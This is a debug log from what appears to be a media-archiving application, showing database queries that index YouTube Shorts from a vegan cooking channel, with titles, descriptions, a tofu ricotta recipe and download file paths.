QUERY OK source="sources" db=0.5ms queue=0.2ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.640 [debug] QUERY OK source="media_items" db=1.6ms idle=6.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-14 14:20:01Z], 1] 20:31:09.641 [debug] QUERY OK source="media_items" db=0.6ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I use this vegan and gluten free dijon vinaigrette on everything from salads to sandwiches and I even dip my fries in it. This salad dressing is ideal for mediterranean style salads but is quite versatile for any of the salads you can dream up.\n\nCheck out the full recipe vid or subscribe to watch it later: https://youtu.be/6nekZpwY4GQ", "I put this s**t on everything! 🥗", "ed711a6d-2b17-4001-8bf8-d901976dbb14", 1, [], 39, false, "q2qDIAYkh4M", "https://www.youtube.com/shorts/q2qDIAYkh4M", 142, "/downloads/downloads/alec/Steamy Vegan/2023-08-14 I put this s**t on everything! 🥗/I put this s**t on everything! 🥗 [q2qDIAYkh4M].NA", false, false, true, 1, ~U[2023-08-14 14:20:01Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "I use this vegan and gluten free dijon vinaigrette on everything from salads to sandwiches and I even dip my fries in it. This salad dressing is ideal for mediterranean style salads but is quite versatile for any of the salads you can dream up.\n\nCheck out the full recipe vid or subscribe to watch it later: https://youtu.be/6nekZpwY4GQ", "I put this s**t on everything! 🥗", 1, 39, false, "q2qDIAYkh4M", "https://www.youtube.com/shorts/q2qDIAYkh4M", "/downloads/downloads/alec/Steamy Vegan/2023-08-14 I put this s**t on everything! 🥗/I put this s**t on everything! 🥗 [q2qDIAYkh4M].NA", true, ~U[2023-08-14 14:20:01Z]] 20:31:09.642 [debug] QUERY OK source="sources" db=0.5ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.643 [debug] QUERY OK source="media_items" db=1.6ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-13 23:44:00Z], 1] 20:31:09.644 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This tahini soy salad dressing is a delicious vegan recipe that you'll want to put all over any of your noodle salads. Subscribe and check out the full summer salads video where I show you how to make this ramen noodle salad and 2 others.\n\nFull recipe vid here: https://youtu.be/6nekZpwY4GQ", "NOODS best friend 🍜 tahini soy dressing", "5c25d745-f424-468d-ae71-18cbeaeeee39", 1, [], 56, false, "HUMfsWTygQI", "https://www.youtube.com/shorts/HUMfsWTygQI", 143, "/downloads/downloads/alec/Steamy Vegan/2023-08-13 NOODS best friend 🍜 tahini soy dressing/NOODS best friend 🍜 tahini soy dressing [HUMfsWTygQI].NA", false, false, true, 1, ~U[2023-08-13 23:44:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "This tahini soy salad dressing is a delicious vegan recipe that you'll want to put all over any of your noodle salads. Subscribe and check out the full summer salads video where I show you how to make this ramen noodle salad and 2 others.\n\nFull recipe vid here: https://youtu.be/6nekZpwY4GQ", "NOODS best friend 🍜 tahini soy dressing", 1, 56, false, "HUMfsWTygQI", "https://www.youtube.com/shorts/HUMfsWTygQI", "/downloads/downloads/alec/Steamy Vegan/2023-08-13 NOODS best friend 🍜 tahini soy dressing/NOODS best friend 🍜 tahini soy dressing [HUMfsWTygQI].NA", true, ~U[2023-08-13 23:44:00Z]] 20:31:09.646 [debug] QUERY OK source="sources" db=0.3ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.648 [debug] QUERY OK source="media_items" db=2.1ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-09 00:02:52Z], 1] 20:31:09.649 [debug] QUERY OK source="media_items" db=0.4ms idle=6.6ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["HEALTHY CHOCOLATE ICE CREAM 🍦", "e6c76d9b-252c-4803-bd99-c23bcc24be03", 1, [], 26, false, "L6bQtc5Zqe0", "https://www.youtube.com/shorts/L6bQtc5Zqe0", 144, "/downloads/downloads/alec/Steamy Vegan/2023-08-09 HEALTHY CHOCOLATE ICE CREAM 🍦/HEALTHY CHOCOLATE ICE CREAM 🍦 [L6bQtc5Zqe0].NA", false, false, true, 2, ~U[2023-08-09 00:02:52Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "HEALTHY CHOCOLATE ICE CREAM 🍦", 1, 26, false, "L6bQtc5Zqe0", "https://www.youtube.com/shorts/L6bQtc5Zqe0", "/downloads/downloads/alec/Steamy Vegan/2023-08-09 HEALTHY CHOCOLATE ICE CREAM 🍦/HEALTHY CHOCOLATE ICE CREAM 🍦 [L6bQtc5Zqe0].NA", true, ~U[2023-08-09 00:02:52Z]] 20:31:09.650 [debug] QUERY OK source="sources" db=0.5ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.652 [debug] QUERY OK source="media_items" db=2.1ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-03 16:02:00Z], 1] 20:31:09.653 [debug] QUERY OK source="media_items" db=0.5ms idle=6.3ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Healthy Mango Sorbet 🥭 4 ingredients! 🍨", "097e85c8-270f-4c0b-9bcb-db9b052c425c", 1, [], 13, false, "A4TsItRWI2Q", "https://www.youtube.com/shorts/A4TsItRWI2Q", 145, "/downloads/downloads/alec/Steamy Vegan/2023-08-03 Healthy Mango Sorbet 🥭 4 ingredients! 🍨/Healthy Mango Sorbet 🥭 4 ingredients! 🍨 [A4TsItRWI2Q].NA", false, false, true, 1, ~U[2023-08-03 16:02:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Healthy Mango Sorbet 🥭 4 ingredients! 🍨", 1, 13, false, "A4TsItRWI2Q", "https://www.youtube.com/shorts/A4TsItRWI2Q", "/downloads/downloads/alec/Steamy Vegan/2023-08-03 Healthy Mango Sorbet 🥭 4 ingredients! 🍨/Healthy Mango Sorbet 🥭 4 ingredients! 🍨 [A4TsItRWI2Q].NA", true, ~U[2023-08-03 16:02:00Z]] 20:31:09.653 [debug] QUERY OK source="sources" db=0.5ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.655 [debug] QUERY OK source="media_items" db=1.5ms idle=4.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-02 14:04:00Z], 1] 20:31:09.656 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Denny’s Vegan Copycat 🍳 🤤 #shorts", "6fa3d690-8fac-49ac-92e1-d6a3df53c3d1", 1, [], 15, false, "gU34QTTySwI", "https://www.youtube.com/shorts/gU34QTTySwI", 146, "/downloads/downloads/alec/Steamy Vegan/2023-08-02 Denny’s Vegan Copycat 🍳 🤤 #shorts/Denny’s Vegan Copycat 🍳 🤤 #shorts [gU34QTTySwI].NA", false, false, true, 1, ~U[2023-08-02 14:04:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "Denny’s Vegan Copycat 🍳 🤤 #shorts", 1, 15, false, "gU34QTTySwI", "https://www.youtube.com/shorts/gU34QTTySwI", "/downloads/downloads/alec/Steamy Vegan/2023-08-02 Denny’s Vegan Copycat 🍳 🤤 #shorts/Denny’s Vegan Copycat 🍳 🤤 #shorts [gU34QTTySwI].NA", true, ~U[2023-08-02 14:04:00Z]] 20:31:09.657 [debug] QUERY OK source="sources" db=0.5ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.659 [debug] QUERY OK source="media_items" db=1.9ms idle=3.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-14 14:58:30Z], 1] 20:31:09.661 [debug] QUERY OK source="media_items" db=1.5ms idle=5.4ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["What I eat in a day as a vegan 🌱 #wfpb #shorts", "300e5c06-f3a0-47f4-a7e0-e5aef5e3b050", 1, [], 15, false, "NCCA4LVcjpA", "https://www.youtube.com/shorts/NCCA4LVcjpA", 147, "/downloads/downloads/alec/Steamy Vegan/2023-07-14 What I eat in a day as a vegan 🌱 #wfpb #shorts/What I eat in a day as a vegan 🌱 #wfpb #shorts [NCCA4LVcjpA].NA", false, false, true, 1, ~U[2023-07-14 14:58:30Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "What I eat in a day as a vegan 🌱 #wfpb #shorts", 1, 15, false, "NCCA4LVcjpA", "https://www.youtube.com/shorts/NCCA4LVcjpA", "/downloads/downloads/alec/Steamy Vegan/2023-07-14 What I eat in a day as a vegan 🌱 #wfpb #shorts/What I eat in a day as a vegan 🌱 #wfpb #shorts [NCCA4LVcjpA].NA", true, ~U[2023-07-14 14:58:30Z]] 20:31:09.662 [debug] QUERY OK source="sources" db=1.2ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.665 [debug] QUERY OK source="media_items" db=2.3ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-07 14:07:00Z], 1] 20:31:09.666 [debug] QUERY OK source="media_items" db=0.7ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan sheet pan fajitas just take 30 mins in the oven to bake and then you can make your favorite tacos, wraps or fajita bowls with these ingredients. Everything is vegan and gluten free as always! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)", "e4c620a8-b825-4e66-a32c-d581c5d81161", 1, [], 14, false, "Parrvjdrc1Q", "https://www.youtube.com/shorts/Parrvjdrc1Q", 148, "/downloads/downloads/alec/Steamy Vegan/2023-07-07 EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)/EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free) [Parrvjdrc1Q].NA", false, false, true, 1, ~U[2023-07-07 14:07:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These vegan sheet pan fajitas just take 30 mins in the oven to bake and then you can make your favorite tacos, wraps or fajita bowls with these ingredients. Everything is vegan and gluten free as always! \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)", 1, 14, false, "Parrvjdrc1Q", "https://www.youtube.com/shorts/Parrvjdrc1Q", "/downloads/downloads/alec/Steamy Vegan/2023-07-07 EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free)/EASY SHEET PAN FAJITAS 🌮🥑🤤 (vegan, gluten free) [Parrvjdrc1Q].NA", true, ~U[2023-07-07 14:07:00Z]] 20:31:09.667 [debug] QUERY OK source="sources" db=1.0ms idle=7.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.669 [debug] QUERY OK source="media_items" db=2.1ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 14:07:00Z], 1] 20:31:09.671 [debug] QUERY OK source="media_items" db=0.6ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These vegan meal prep quinoa breakfast bowls are so filling and packed full of protein to keep you going all week. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤", "2da5722c-a1c0-45a4-a681-4c75457f9111", 1, [], 13, false, "HeIUU-HbdP4", "https://www.youtube.com/shorts/HeIUU-HbdP4", 149, "/downloads/downloads/alec/Steamy Vegan/2023-07-06 Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤/Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤 [HeIUU-HbdP4].NA", false, false, true, 1, ~U[2023-07-06 14:07:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "These vegan meal prep quinoa breakfast bowls are so filling and packed full of protein to keep you going all week. \n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!", "Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤", 1, 13, false, "HeIUU-HbdP4", "https://www.youtube.com/shorts/HeIUU-HbdP4", "/downloads/downloads/alec/Steamy Vegan/2023-07-06 Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤/Meal Prep Quinoa Breakfast Bowl ☀️🥣🤤 [HeIUU-HbdP4].NA", true, ~U[2023-07-06 14:07:00Z]] 20:31:09.671 [debug] QUERY OK source="sources" db=0.5ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.673 [debug] QUERY OK source="media_items" db=1.9ms idle=6.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-22 14:41:03Z], 1] 20:31:09.674 [debug] QUERY OK source="media_items" db=0.5ms idle=6.8ms INSERT INTO "media_items" AS m0 ("title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["A summer salad that *actually* SLAPS #shorts #youtubeshorts", "181610d3-f5d5-488a-bbb1-628a801fd84d", 1, [], 22, false, "O7nQ2E8NEXw", "https://www.youtube.com/shorts/O7nQ2E8NEXw", 150, "/downloads/downloads/alec/Steamy Vegan/2023-06-22 A summer salad that *actually* SLAPS #shorts #youtubeshorts/A summer salad that *actually* SLAPS #shorts #youtubeshorts [O7nQ2E8NEXw].NA", false, false, true, 1, ~U[2023-06-22 14:41:03Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "", "A summer salad that *actually* SLAPS #shorts #youtubeshorts", 1, 22, false, "O7nQ2E8NEXw", "https://www.youtube.com/shorts/O7nQ2E8NEXw", "/downloads/downloads/alec/Steamy Vegan/2023-06-22 A summer salad that *actually* SLAPS #shorts #youtubeshorts/A summer salad that *actually* SLAPS #shorts #youtubeshorts [O7nQ2E8NEXw].NA", true, ~U[2023-06-22 14:41:03Z]] 20:31:09.675 [debug] QUERY OK source="sources" db=0.5ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.677 [debug] QUERY OK source="media_items" db=1.7ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-06-21 14:57:46Z], 1] 20:31:09.682 [debug] QUERY OK source="media_items" db=4.3ms idle=5.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["TOFU RICOTTA CHEESE 🧀 High-protein & plant-based goodness! 👊🏻 🌱\n\nCall it ricotta, call it cream cheese, call it *whatever* you want… IT’S AMAZING and I rarely buy vegan cream cheese anymore because this is is so cheap and easy to make at home 🏡 Spread it on toast or a bagel 🥯, in a wrap, stir into pasta 🍝, layer into lasagna, the options are ENDLESS! It’s really delicious and is packed with protein and nutrition 💪🏻\n\nSAVE ✔️ this recipe for later and follow me!\nTOFU RICOTTA - 8g protein per serving\n1 block extra firm tofu\n¼ cup nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n¼ cup or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n2. Spread 2 tbsp of the tofu ricotta on each slice of toasted bread, and top with sliced avocado and tomatoes, arugula and any other seasonings you like!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n#steamyvegankitchen #steamyvegan #tofulover #plantpowered #plantstrong #plantprotein #plantshaveprotein #tofurecipes #ricottacheese #ricotta #tofuricotta", "VEGAN RICOTTA CHEESE! 🧀", "c769ff58-15a4-4d13-97da-2e86d7a0a391", 1, [], 41, false, "uLN_D5uwQiM", "https://www.youtube.com/shorts/uLN_D5uwQiM", 151, "/downloads/downloads/alec/Steamy Vegan/2023-06-21 VEGAN RICOTTA CHEESE! 🧀/VEGAN RICOTTA CHEESE! 🧀 [uLN_D5uwQiM].NA", false, false, true, 2, ~U[2023-06-21 14:57:46Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "TOFU RICOTTA CHEESE 🧀 High-protein & plant-based goodness! 👊🏻 🌱\n\nCall it ricotta, call it cream cheese, call it *whatever* you want… IT’S AMAZING and I rarely buy vegan cream cheese anymore because this is is so cheap and easy to make at home 🏡 Spread it on toast or a bagel 🥯, in a wrap, stir into pasta 🍝, layer into lasagna, the options are ENDLESS! It’s really delicious and is packed with protein and nutrition 💪🏻\n\nSAVE ✔️ this recipe for later and follow me!\nTOFU RICOTTA - 8g protein per serving\n1 block extra firm tofu\n¼ cup nutritional yeast\n2 cloves garlic\nJuice of ½ lemon\n2 tbsp olive oil\n1 tsp salt and pepper to taste\n1 tsp oregano or mixed Italian herbs\n¼ cup or more soy milk\n\n1. Crumble the tofu into large pieces into a food processor. Add all remaining ingredients and blend on high until a thick, spreadable paste forms, much like cream cheese. Stop once or twice to scrape down the sides as needed and add soy milk if its too thick. Adjust seasonings to taste.\n2. Spread 2 tbsp of the tofu ricotta on each slice of toasted bread, and top with sliced avocado and tomatoes, arugula and any other seasonings you like!\n\nClick the play button below the channel name to watch the full video or subscribe and check it out later!\n\n#steamyvegankitchen #steamyvegan #tofulover #plantpowered #plantstrong #plantprotein #plantshaveprotein #tofurecipes #ricottacheese #ricotta #tofuricotta", "VEGAN RICOTTA CHEESE! 🧀", 1, 41, false, "uLN_D5uwQiM", "https://www.youtube.com/shorts/uLN_D5uwQiM", "/downloads/downloads/alec/Steamy Vegan/2023-06-21 VEGAN RICOTTA CHEESE! 🧀/VEGAN RICOTTA CHEESE! 🧀 [uLN_D5uwQiM].NA", true, ~U[2023-06-21 